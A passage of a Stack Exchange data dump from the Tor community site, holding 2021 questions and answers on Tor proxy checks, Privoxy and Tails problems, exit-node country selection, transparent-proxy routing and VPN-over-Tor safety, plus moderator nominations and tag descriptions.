unnecessarily.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note: Is there a way to ask Tor if whether it runs on a OS with correctly set system clock? This is a &lt;a href=&quot;https://tb-manual.torproject.org/known-issues/&quot; rel=&quot;nofollow noreferrer&quot;&gt;known issue&lt;/a&gt; and it sounds like a common source of troubles.&lt;/p&gt;&#xA;&lt;p&gt;Does this approach sounds about right? Would you add something?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Resources:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/19858/how-to-check-if-tor-socks-proxy-is-working-programatically-python&quot;&gt;How to check if Tor socks proxy is working programatically python?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/12678/how-to-check-if-tor-is-working-and-debug-the-problem-on-cli&quot;&gt;How to check if Tor is working and debug the problem on CLI?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/12395/how-does-check-torproject-org-know-if-youre-using-tor&quot;&gt;https://security.stackexchange.com/questions/12395/how-does-check-torproject-org-know-if-youre-using-tor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Edit: The question was reposted here: &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/issues/40397&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/core/tor/-/issues/40397&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32242" LastEditorUserId="31632" LastEditDate="2021-05-25T20:40:10.487" LastActivityDate="2021-05-25T20:40:10.487" Title="How to correctly programatically check if Tor socks proxy is working or not?" Tags="|torsocks|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22404" PostTypeId="2" ParentId="22337" CreationDate="2021-05-18T05:58:46.847" Score="0" Body="&lt;p&gt;Another concern is that images within feeds will get downloaded and displayed by external readers.Any similar resources will get fetched over the normal network connection.&#xA;To prevent this you can use a reader that doesn't fetch anything, strip them out prior to saving the XML, or even fetch the image over Tor, save it, and then modify the XML to point to the local resource then save the XML.&lt;/p&gt;&#xA;" OwnerUserId="32485" LastActivityDate="2021-05-18T05:58:46.847" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22409" PostTypeId="2" ParentId="22383" CreationDate="2021-05-22T11:14:28.163" Score="1" Body="&lt;p&gt;I guess running an exit node is quite hard and also not recommended. When there are issues with a node the Tor Project often contacts the administrators. If this is not working for some reason, the node gets dropped from the network. So first you should create a mail account and make sure that you read incoming mail. I wrote some hints in my answer to the question &amp;quot;&lt;a href=&quot;https://tor.stackexchange.com/a/22019/88&quot;&gt;how to send email anonymous from Gmail&lt;/a&gt;&amp;quot;. As you need to continuously read and sometimes write mail, it is easy to make mistakes and loose the anonymity.&lt;/p&gt;&#xA;&lt;p&gt;Next step is getting and using a computer for the exit node. You can either&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;use some private device&lt;/li&gt;&#xA;&lt;li&gt;use a machine inside an operating center&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;When you want to use a private device, you need to get it in an anonymous way (buy at a local market, make sure there is no CCTV, pay with cash, etc.). The question is, which network to use.&lt;/p&gt;&#xA;&lt;p&gt;When you want to use a machine in some operating center, mostly you'll need a contract and have to pay some fee on a recurring basis. There are some providers which allow to register only with an email address, some fantasy name and use some form of electronic currency or cash. If you are careful, you can register and pay the service in an anonymous way.&lt;/p&gt;&#xA;&lt;p&gt;Now you can use the machine, install and configure Tor. All those steps should happen over a SSH connection and using your Tor client.&lt;/p&gt;&#xA;&lt;p&gt;If you consider all those steps and think about &lt;a href=&quot;https://tor.stackexchange.com/a/4845/88&quot;&gt;OPSEC&lt;/a&gt;, it should be possible to run a node in an anonymous way.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2021-05-22T11:14:28.163" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22410" PostTypeId="6" CreationDate="2021-05-22T15:05:55.060" Score="0" Body="&lt;p&gt;I nominate myself, Swangie (&lt;a href=&quot;https://tor.stackexchange.com/users/31632/swangie&quot;&gt;profile&lt;/a&gt;, &lt;a href=&quot;https://tor.meta.stackexchange.com/users/31632/swangie&quot;&gt;meta&lt;/a&gt;). I truly feel that I would be a responsible, respectful, and fair moderator for this community.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;One reason I should be a moderator is because I have the time and energy to moderate this community. I have visited this site around every few hours, for the past 90 days consecutively. With all my time, I will definitely be able to moderate and improve the community.&lt;/p&gt;&#xA;&lt;p&gt;Along with this, I display responsibility, leadership, and I am a role model to this community. Although I joined only &lt;strong&gt;3 months ago&lt;/strong&gt;, I have &lt;strong&gt;edited over 49 posts&lt;/strong&gt; (including numerous improvements to tags), &lt;strong&gt;helpfully flagged 32 posts&lt;/strong&gt;, and have &lt;strong&gt;cast over 76 votes&lt;/strong&gt;. I have also reviewed &lt;strong&gt;86 first posts and 19 late answers&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;As a sidenote, I am also a &lt;strong&gt;strong supporter of the Tor Project&lt;/strong&gt; and even &lt;strong&gt;run my own Tor relay&lt;/strong&gt;. I also visit r/tor and r/onions and I have a good amount of knowledge on the Tor project.&lt;/p&gt;&#xA;&lt;p&gt;As you can see, I am committed to supporting this community and as a moderator, I will be able to show my support even more.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-26T00:02:48.987" LastActivityDate="2021-05-26T00:02:48.987" CommentCount="1" CommunityOwnedDate="2021-05-22T15:05:55.060" ContentLicense="CC BY-SA 4.0" />
  <row Id="22411" PostTypeId="5" CreationDate="2021-05-22T15:27:48.650" Score="0" Body="&lt;p&gt;A server is a software or hardware device that accepts and responds to requests made over a network.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-23T08:29:32.233" LastActivityDate="2021-05-23T08:29:32.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22412" PostTypeId="4" CreationDate="2021-05-22T15:27:48.650" Score="0" Body="This tag should be used for questions that are about the usage of a server(s)." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-23T08:29:27.033" LastActivityDate="2021-05-23T08:29:27.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22413" PostTypeId="5" CreationDate="2021-05-22T15:34:21.310" Score="0" Body="&lt;p&gt;Bittorrent is a peer-to-peer file transfer protocol for sharing large amounts of data over the Internet, through which each part of a file that a user downloads is transferred to other users.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-23T08:29:17.130" LastActivityDate="2021-05-23T08:29:17.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22414" PostTypeId="4" CreationDate="2021-05-22T15:34:21.310" Score="0" Body="This tag should be used for questions about bittorrent, such as why it should be used with Tor or how it works." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-23T08:29:20.910" LastActivityDate="2021-05-23T08:29:20.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22415" PostTypeId="1" CreationDate="2021-05-23T14:38:30.240" Score="0" ViewCount="155" Body="&lt;p&gt;I know this is not the right channel, but I'll give it a try.&lt;/p&gt;&#xA;&lt;p&gt;Privoxy blocks some .onion addresses and others not, In the older version this was not&lt;br&gt;&#xA;I have already disabled all filters in the Privoxy config.&lt;br&gt;&#xA;The &lt;code&gt;/var/log/privoxy/logfile&lt;/code&gt; is empty.&lt;br&gt;&#xA;How can I fix this?&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;pre&gt;&lt;code&gt;System&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Kubuntu 20.04 LTS&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;pre&gt;&lt;code&gt;Privoxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Privoxy version 3.0.32 (&lt;a href=&quot;https://www.privoxy.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.privoxy.org/&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;pre&gt;&lt;code&gt;ERROR&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Privoxy was unable to socks4a-forward your request through 127.0.0.1&#xA;SOCKS request rejected or failed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;When I bypass Privoxy and connect through Tor, the browser changes the address from &lt;code&gt;http://mail2tor2zyjdctd.onion/&lt;/code&gt; to &lt;code&gt;https://www.mail2tor2zyjdctd.onion/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5vby3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5vby3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W30Si.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W30Si.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TOwql.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TOwql.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S7bzS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S7bzS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30713" LastEditorUserId="30713" LastEditDate="2021-05-23T14:58:19.590" LastActivityDate="2021-05-23T14:58:19.590" Title="Privoxy blocks some .onion addresses and others not" Tags="|privoxy|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22419" PostTypeId="5" CreationDate="2021-05-25T15:02:43.880" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2021-05-25T15:02:43.880" LastActivityDate="2021-05-25T15:02:43.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22420" PostTypeId="4" CreationDate="2021-05-25T15:02:43.880" Score="0" Body="This tag should be used for questions that require assistance and support to solve an issue or problem." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-25T20:41:44.343" LastActivityDate="2021-05-25T20:41:44.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22422" PostTypeId="2" ParentId="19720" CreationDate="2021-05-26T18:30:44.330" Score="2" Body="&lt;p&gt;Take a look at this site: &lt;a href=&quot;https://tails.boum.org/support/known_issues/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/support/known_issues/&lt;/a&gt;&#xA;For me the internal keyboard of the Microsoft Surface Laptop 2 doesen't work. I use a bluetooth keyboard with an USB dongle.&lt;/p&gt;&#xA;&lt;p&gt;For the installation process I followed this guide: &lt;a href=&quot;https://www.youtube.com/watch?v=QmBfmv6Wn9E&amp;amp;t=136s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=QmBfmv6Wn9E&amp;amp;t=136s&lt;/a&gt; and also used etcher to flash the .img-file to the USB drive. I had no issues during the download or the verification of the downloaded file.&lt;/p&gt;&#xA;&lt;p&gt;It's a really late answer, but I just saw your post. If you were not able to fix your preblems yet, I hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="32528" LastActivityDate="2021-05-26T18:30:44.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22423" PostTypeId="2" ParentId="21833" CreationDate="2021-05-27T20:45:34.220" Score="0" Body="&lt;p&gt;You've quadrupled your attack surface, and the only benefit is to make things slightly harder for someone trying to follow the connection chain backwards.  But that's already the hardest way to compromise your identity.  Any sensible attacker is going to go at it from the side: compromising VPNs, monitoring TOR exit nodes, or trying to get you to run software that reveals your identity.  Your complicated system just gives a sensible attacker more things to target.&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2021-05-27T20:45:34.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22426" PostTypeId="1" AcceptedAnswerId="22442" CreationDate="2021-05-31T10:04:29.010" Score="0" ViewCount="233" Body="&lt;p&gt;I am trying to access/download a file on an old server which has geolocation restriction. I was just wondering if I can use &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;curl&lt;/code&gt; on macOS and change my ip address so that the old server allows download. I know I can use VPN/Proxy but I am interested to know if there is generally a simpler way.&lt;/p&gt;&#xA;" OwnerUserId="32552" LastActivityDate="2021-06-07T06:50:51.077" Title="Masking my IP address when using `wget` or `curl`" Tags="|ip-address|geoip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22427" PostTypeId="1" CreationDate="2021-05-31T12:43:32.933" Score="0" ViewCount="3563" Body="&lt;p&gt;I created a USB stick (16 GB) with Tails to run on my PC (Windows 10).&lt;/p&gt;&#xA;&lt;p&gt;My problem is that the administration password entered in the welcome screen is well understood by Tails, and the access to Persistent is granted.&lt;/p&gt;&#xA;&lt;p&gt;For all other actions that ask for the administration password, like opening a root terminal or access to the PC hard disks, the password is not recognized.&lt;/p&gt;&#xA;&lt;p&gt;I have read a lot of times Tails documentation and web entries about Tails, but I have not found the information that I have missed. I’ll be grateful if you have any idea about the problem. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="32551" LastEditorUserId="31632" LastEditDate="2021-06-10T13:14:10.850" LastActivityDate="2023-04-17T19:06:30.797" Title="TAILS: Administration password not recognized" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22428" PostTypeId="6" CreationDate="2021-05-31T15:37:03.687" Score="0" Body="&lt;h1&gt;Alexey Vesnin&lt;/h1&gt;&#xA;&lt;p&gt;I have already been a Tor Stack Exchange moderator, but it was a very big work to do - so I've stepped out just by a timeout :) When I was active I was able to successfully shield up people from 10 countries and I've met them in person after. Now I'm fully back on the network privacy and mesh networks. I used to propose some patches to Tor and later I have started the separated project called HyperSphere. I have 30 years in IT practice and I'll be glad to help the community again as I did before - you can check my Tor.SE profile. I can dedicate 1-2 hours daily day-by-day now - and that's a permanent good change&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2021-05-31T15:37:03.687" LastActivityDate="2021-05-31T15:37:03.687" CommentCount="0" CommunityOwnedDate="2021-05-31T15:37:03.687" ContentLicense="CC BY-SA 4.0" />
  <row Id="22429" PostTypeId="2" ParentId="22427" CreationDate="2021-05-31T21:59:33.603" Score="0" Body="&lt;p&gt;The main password you enter on the Welcome screen is dedicated to the &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/use&quot; rel=&quot;nofollow noreferrer&quot;&gt;encrypted Persistent storage&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Not to be confused&lt;/strong&gt; with the &lt;a href=&quot;https://tails.boum.org/doc/first_steps/welcome_screen/administration_password/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Administration password&lt;/a&gt;, which allows to run Root terminal, do administrative tasks and access the internal disk for example.&lt;/p&gt;&#xA;&lt;p&gt;They are 2 separated passwords with different purposes, this adds an extra security layer for TAILS.&lt;/p&gt;&#xA;&lt;p&gt;Just ask if you need more details.&lt;/p&gt;&#xA;" OwnerUserId="31318" LastEditorUserId="20534" LastEditDate="2021-07-14T14:27:53.650" LastActivityDate="2021-07-14T14:27:53.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22430" PostTypeId="1" CreationDate="2021-05-31T22:42:33.277" Score="3" ViewCount="96" Body="&lt;p&gt;In the entry &amp;quot;&lt;a href=&quot;https://gitlab.torproject.org/tpo/network-health/team/-/wikis/Criteria-for-rejecting-bad-relays&quot; rel=&quot;nofollow noreferrer&quot;&gt;Criteria for rejecting bad relays&lt;/a&gt;&amp;quot; on the Network Health Team's wiki I found an interesting bullet point:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h4&gt;Malicious relays&lt;/h4&gt;&#xA;&lt;hr /&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;…&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Excessive logging (over notice)&lt;/strong&gt; during normal operation, …&lt;/li&gt;&#xA;&lt;li&gt;…&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How can an external observer possibly detect this? I can think of some hypothetical side-channel probes (like trying to overload only the storage subsystem of a relay and see if the traffic got slower due to logs taking longer to flush) but they seem a bit far fetched. Is the method published? Does anyone have some insight?&lt;/p&gt;&#xA;" OwnerUserId="9920" LastActivityDate="2021-06-25T02:41:53.753" Title="How can an external observer detect if a malicious relay does excessive logging?" Tags="|relays|log|network-health|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22431" PostTypeId="2" ParentId="12418" CreationDate="2021-06-01T14:51:40.427" Score="0" Body="&lt;p&gt;go to options&amp;gt; privacy &amp;amp; security&amp;gt; history&amp;gt; tor browser will remember history. then go to general&amp;gt; start up&amp;gt; restore previous session.&lt;/p&gt;&#xA;" OwnerUserId="32554" LastActivityDate="2021-06-01T14:51:40.427" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22435" PostTypeId="1" CreationDate="2021-06-04T07:56:44.377" Score="0" ViewCount="162" Body="&lt;p&gt;I know that a client needs to establish a rendezvous point in order to connect to a hidden service but the rendezvous points neither knows the hidden service nor can it decrypt the data. If it doesn't know the hidden service how does the rendezvous point know what relay to send traffic for the hidden service too. Another question I had is which relay would know what circuit is used by the hidden service to connect to the rendezvous point?&lt;/p&gt;&#xA;" OwnerUserId="32572" LastActivityDate="2022-01-13T13:05:55.920" Title="When connecting to a hidden service, which relay contains information about the circuit used on the hidden service side?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22437" PostTypeId="1" CreationDate="2021-06-06T14:17:08.400" Score="1" ViewCount="963" Body="&lt;p&gt;I have configured my router to route some of connections to my raspberry pi. Raspberry pi runs an openvpn client and has ip_forward and masquerade enabled in IP Tables so any incoming TCP/IP connection on ethernet port will be forwarded to tun0 which belongs to openvpn.&lt;/p&gt;&#xA;&lt;p&gt;Here's the commands I use to setup raspberry pi to route incoming connections to tun0:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A FORWARD -o tun0 -i eth0 -m conntrack --ctstate NEW -j ACCEPT&#xA;iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE&#xA;echo &amp;quot;1&amp;quot; | sudo tee /proc/sys/net/ipv4/ip_forward&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now what I want to do is to use Tor instead of openvpn, I mean forwarding traffic to the Tor network not openvpn connection.&#xA;How can I do this?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Edit 1:&#xA;Access to some domains and IP address are blocked by my ISP, so I have to use VPN to access them. As using VPN with every domain and IP is not my desire, I decided to create a list of these domains and IPs in my router (RouterOS) and then route their traffic to my raspberry pi device (This link provides actual commands used in routerOS to make it work: &lt;a href=&quot;https://forum.mikrotik.com/viewtopic.php?f=13&amp;amp;t=171665&amp;amp;p=839646#p839550&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.mikrotik.com/viewtopic.php?f=13&amp;amp;t=171665&amp;amp;p=839646#p839550&lt;/a&gt;) and then run an OpenVPN on RaspberryPi and forward these traffics through OpenVPN connection.&lt;/p&gt;&#xA;&lt;p&gt;But now I don't want to use OpenVPN to unblock access to the specified domains anymore, instead I want to use Tor, but tor does not create a network interface like tun0 which is created by openvpn when established so I don't know how to configure iptables on raspberry pi to forward and masquerade the traffic the way I was doing it with openvpn running.&lt;/p&gt;&#xA;&lt;p&gt;P.S. I don't care about leaks as my goal is only to access blocked websites and services.&lt;/p&gt;&#xA;" OwnerUserId="31248" LastEditorUserId="31248" LastEditDate="2021-06-07T05:30:50.393" LastActivityDate="2022-03-04T18:02:40.280" Title="Tor as IP Forwarding gateway" Tags="|routers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22439" PostTypeId="2" ParentId="21929" CreationDate="2021-06-06T21:56:16.530" Score="0" Body="&lt;p&gt;Well, there're three things to consider to realize why there is no such thing as Tails for mobile:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First of all, Tails utilizes separation that is barely implemented on mobile OS'es. As a developer with 30 years of practice I was only available to make it on Android v6, iOS is a bloatware and closed, Windows Mobile is almost the same as iOS except the permissions to the &lt;strong&gt;code&lt;/strong&gt;, not just an &lt;em&gt;applications&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mobile OS devs are earning their money on selling their users data OR not interfering to it to not to face an active actions from the original vendors - hello LineageOS ;)&lt;/li&gt;&#xA;&lt;li&gt;Tor developers themselves look like to not to incorporate the obvious improvements: I've sent my patches to them a decade ago - dead silence, I've published them on GitHub as a PoC - silence still...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We do need a more deep user-based awareness and not in the way like the Apple is trying to do it now. If you need more technical details with flat facts - just drop me a line.&lt;/p&gt;&#xA;&lt;p&gt;And - about Tails OS - the Cubes OS is looking a way more decent even for a desktop&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-06-06T21:56:16.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22440" PostTypeId="2" ParentId="22437" CreationDate="2021-06-06T22:24:37.473" Score="0" Body="&lt;p&gt;It depends on the task you're solving, but - basically - here it is in an official manual at &lt;a href=&quot;https://gitlab.torproject.org/legacy/trac/-/wikis/doc/TransparentProxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/legacy/trac/-/wikis/doc/TransparentProxy&lt;/a&gt; but - keep in mind that connection leaks are very possible if you're using just a common recipe! Perhaps if you will provide more details about your task workflow I'll be able to help you better.&lt;/p&gt;&#xA;&lt;p&gt;Update on edit: You're right, Tor Transparent Proxy is not rising an interface, but you just need to follow the guide I linked to you - it's your case. Pay &lt;strong&gt;careful attention&lt;/strong&gt; at the warning block in the guide about incorporating the leak-protecting rules in another cases, but in your particular case just enable the outer world connection for the system user used to run Tor - it will seal the breaches in your case. In other cases like a single node routing and drop-in on-machine rule set - it's a must have to incorporate the additional rules referenced.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2021-06-07T15:57:00.400" LastActivityDate="2021-06-07T15:57:00.400" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22441" PostTypeId="1" CreationDate="2021-06-06T22:36:01.213" Score="0" ViewCount="315" Body="&lt;p&gt;I downloaded Tor browser but every time i attempt to launch it all i get is this message:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Tor Browser does not have permission to enter the profile. Please adjust you file system settings and try again.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I have tried reinstalling it, but no luck.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for any help,&lt;/p&gt;&#xA;" OwnerUserId="32587" LastActivityDate="2021-06-06T22:36:01.213" Title="Tor Broswer does not have permission to enter the profile" Tags="|tor-browser-bundle|configuration|tor-install|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22442" PostTypeId="2" ParentId="22426" CreationDate="2021-06-07T06:50:51.077" Score="2" Body="&lt;p&gt;Configure your torrc file with ExitNodes using the county you wish your circuit to exit, restart Tor, then use torsocks with wget or curl.&lt;/p&gt;&#xA;" OwnerUserId="32592" LastActivityDate="2021-06-07T06:50:51.077" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22443" PostTypeId="1" CreationDate="2021-06-07T07:14:50.983" Score="0" ViewCount="48" Body="&lt;p&gt;All:&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to Map Multiple Tor Daemon Local Names/Addresses/Ports to Multiple Country Specific ExitNodes without running multiple instances of the Tor daemon?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;amazon.cn (127.0.0.1) =&amp;gt; amazon.cn:443&#xA;amazon.fr (127.0.0.2) =&amp;gt; amazon.fr:443&#xA;amazon.com (127.0.0.3) =&amp;gt; amazon.com:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.5:9095 =&amp;gt; amazon.cn:443&#xA;127.0.0.6:9095 =&amp;gt; amazon.fr:443&#xA;127.0.0.7:9095 =&amp;gt; amazon.com:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1:9095 =&amp;gt; amazon.cn:443&#xA;127.0.0.1:9096 =&amp;gt; amazon.fr:443&#xA;127.0.0.1:9097 =&amp;gt; amazon.com:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A VirtualHost option would be great not consuming as many resources as running multiple daemons.&lt;/p&gt;&#xA;&lt;p&gt;Your assistance is greatly appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Respectfully,&lt;/p&gt;&#xA;&lt;p&gt;Gary&lt;/p&gt;&#xA;" OwnerUserId="32592" LastEditorUserId="32592" LastEditDate="2021-06-09T13:04:17.337" LastActivityDate="2022-03-06T14:07:15.597" Title="Map Multiple Tor Daemon Local Names/Addreses/Ports to Multiple Country Specific ExitNodes" Tags="|tor-browser-bundle|exit-relays|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22444" PostTypeId="2" ParentId="22443" CreationDate="2021-06-07T21:06:56.880" Score="0" Body="&lt;p&gt;Sadly, now only dot-onion mapping is supported in the way you're describing. For a better resource consumption use one main tor instance and another ones that are just connected to it - one per mapping.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-06-07T21:06:56.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22445" PostTypeId="1" CreationDate="2021-06-08T16:57:18.437" Score="1" ViewCount="3076" Body="&lt;p&gt;If ISPs can do this, then how would my anonymity be affected?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-06-10T01:43:44.273" Title="Can my ISP see that I am using Tails?" Tags="|anonymity|internet-service-provider|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22447" PostTypeId="1" CreationDate="2021-06-09T00:09:42.483" Score="0" ViewCount="150" Body="&lt;p&gt;My setup is to first connect to a VPN. Then run whonix using virtualbox. Then inside the whonix workstation, I installed normal firefox with a VPN addon to surf for websites that blocks tor. Basically like this:&lt;/p&gt;&#xA;&lt;p&gt;user --&amp;gt; VPN1 --&amp;gt; tor --&amp;gt; VPN2.&lt;/p&gt;&#xA;" OwnerUserId="32374" LastEditorUserId="32374" LastEditDate="2021-06-09T02:11:50.103" LastActivityDate="2021-06-10T01:48:01.100" Title="Is this setup safe and secure?" Tags="|vpn|whonix|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22448" PostTypeId="2" ParentId="22447" CreationDate="2021-06-09T01:43:24.007" Score="1" Body="&lt;p&gt;&lt;strong&gt;First of all, I have to tell you that it it is a very dangerous to use the final addon VPN. Don't use it!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It probably came for free (since it is a Firefox addon), and free vpns are very unreliable. They have been known to keep logs, spy on users, have weak security, etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Never use addons with the Tor browser. The Tor Project has repeatedly stated that this is a bad idea for multiple reasons. If you want an in detail explanation, view my post &lt;a href=&quot;https://tor.stackexchange.com/questions/21999/q-a-how-do-firefox-addons-remove-your-privacy-and-anonymity-while-using-the-t/22000#22000&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You say you are using the VPN addon because you want to access websites which block the Tor network. But how do you know that they won't block VPNs and proxies as well? Also, it is very easy to detect the Tor browser, so hiding your usage of the Tor network will only make you more fingerprintable to websites because you will be the only user who is using the Tor browser, but doesn't have a Tor exit node IP address. The VPN addon can also fingerprint you. This can greatly identify you.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now let's answer your question.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;To answer your question specifically, I'll need more info. But I'll answer it with what 